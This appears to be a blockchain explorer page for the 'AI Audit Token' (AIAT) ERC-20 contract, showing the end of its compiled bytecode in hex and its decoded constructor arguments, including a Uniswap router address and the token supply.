810190811067ffffffffffffffff821117610db857604052565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b90601f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0910116810190811067ffffffffffffffff821117610db857604052565b15610e2f57565b60646040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602060248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152fd5b90816020910312610d74575173ffffffffffffffffffffffffffffffffffffffff81168103610d745790565b73ffffffffffffffffffffffffffffffffffffffff809116918215610fab5716918215610f275760207f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925918360005260028252604060002085600052825280604060002055604051908152a3565b60846040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152fd5b60846040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152fd5b92919273ffffffffffffffffffffffffffffffffffffffff8091169081156115ab578415611527576015548181169081841480611517575b806114fc575b6114c3575b60b01c60ff16806114b8575b806114ae575b806114a0575b80611496575b80611489575b6111d2575b50600094828652602091600183526040946110ed86892054848851916110bf83610d9c565b601e83527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000088840152611671565b8589526001855286892055169384875280872054828101908181116111a5578110611148578188877fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9798999a5260018652205551908152a3565b6064848351907f08c379a00000000000000000000000000000000000000000000000000000000082526004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152fd5b6024897f4e487b710000000000000000000000000000000000000000000000000000000081526011600452fd5b807fffffffffffffffffffffffff0000000000000000000000000000000000000000601454161760145560409081517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526020918282602481845afa91821561147e5760009261144f575b506000526001825282600020546112a561125d8a6116c4565b9185519261126a84610d9c565b601a84526112a07f536166654d6174683a206469766973696f6e206279207a65726f00000000000094858882015283151561162f565b61168b565b60018101908181116114205781106113c35782916112ca612710926113189695611777565b908487516112d781610d9c565b601a815201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000086519461130a86610d9c565b601e86528501520490611671565b8183601354169160c48560045416916000845195869485937f02751cec000000000000000000000000000000000000000000000000000000008552306004860152602485015282604485015282606485015260848401524260a48401525af180156113b85761138f575b50506001600e553861109a565b813d83116113b1575b6113a28183610de7565b81010312610d74573880611382565b503d611398565b82513d6000823e3d90fd5b6064848651907f08c379a00000000000000000000000000000000000000000000000000000000082526004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b9091508281813d8311611477575b6114678183610de7565b81010312610d7457519038611244565b503d61145d565b84513d6000823e3d90fd5b506014600d541015611095565b50600e541561108f565b508160045416831415611089565b5030831415611083565b50808285161461107d565b600d54907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821461142057600191909101600d55611071565b50828516600052600360205260ff604060002054161561106c565b5082601354168386161415611066565b60846040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f00000000000000000000000000000000000000000000006064820152fd5b60846040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152fd5b156116375750565b61166d906040519182917f08c379a000000000000000000000000000000000000000000000000000000000835260048301610ceb565b0390fd5b9161167f908383111561162f565b81039081116114205790565b8115611695570490565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b8015611771576064810290808204606403611420576116e56064918361168b565b036116ed5790565b60846040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152fd5b50600090565b90811561179557808202918083048203611420576116e5908361168b565b505060009056fea164736f6c6343000818000a
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000d3c21bcecceda1000000000000000000000000000000000000000000000000000000000000000000000e414920417564697420546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044149415400000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : tokenName (string): AI Audit Token
Arg [2] : tokenSymbol (string): AIAT
Arg [3] : tokenDecimals (uint8): 18
Arg [4] : tokenTotalSupply (uint256): 1000000000000000000000000
-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [4] : 00000000000000000000000000000000000000000000d3c21bcecceda1000000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [6] : 414920417564697420546f6b656e000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [8] : 4149415400000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.